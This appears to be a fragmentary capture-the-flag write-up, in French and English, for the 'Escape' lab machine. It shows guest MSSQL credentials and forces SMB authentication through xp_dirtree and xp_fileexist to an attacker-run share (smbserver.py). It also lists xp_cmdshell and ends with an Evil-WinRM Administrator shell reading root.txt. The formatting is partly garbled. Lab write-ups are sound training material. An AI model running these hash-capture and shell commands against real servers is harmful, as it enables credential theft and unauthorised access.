Bonus

For new hired and those that are still waiting their users to be created and perms assigned, can sneak a peek at the Database with user `PublicUser` and password `GuestUserCantWrite1`.

Refer to the previous guidelines and make sure to switch the "Windows Authentication" to "SQL Server Authentication".

On peut essayer de se connecter via ces identifiants :

```
PublicUser / GuestUserCantWrite1
```

```
mssqlclient.py "sequel.htb"/"PublicUser":'GuestUserCantWrite1'@"10.129.134.145"
```

```
mssqlclient.py

Note

- Windows Auth permet au serveur MSSQL d'utiliser les **crédentiels du compte de service** (ou du compte AD connecté) pour accéder aux ressources. (Indiqué dans le PDF)
- Dès qu'une fonction comme `xp_dirtree` ou `xp_fileexist` est utilisée avec un chemin UNC, SQL Server tente de se connecter automatiquement à ce partage en utilisant **le compte Windows qui exécute le service**.

1. SQL Server doit être connecté à un serveur de fichiers (SMB)
   - Dans les boîtes à outils
   - Tu dois provoquer une erreur de connexion
   - Exemples typiques
     + xp_dirtree '\\10.10.14.233\test'
     + xp_fileexist '\\10.10.14.233\test'
     + xp_cmdshell 'ipconfig'
2. Tout serveur doit être configuré pour accepter les connexions de SQL Server
   - Configurer le serveur de fichiers
3. Exemple concret (pentest lab)
4. Lancer un serveur SMB
   - smbserver.py -smb2support EXEGOL "/."
   - mssqlclient.py "SQL (PublicUser guest@master)> EXEC xp_dirtree '\\10.10.14.233\EXEGOL'
subdirectory depth
SQL (PublicUser guest@master)>
```

Evil-WinRM shell v3.7
```

```
Info: Establishing connection to remote endpoint
```

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat "C:/Users/Administrator/Desktop/root.txt"
```

Escape has been Pwned!

Congratulations

XoTourLif33, best of luck in capturing flags ahead!
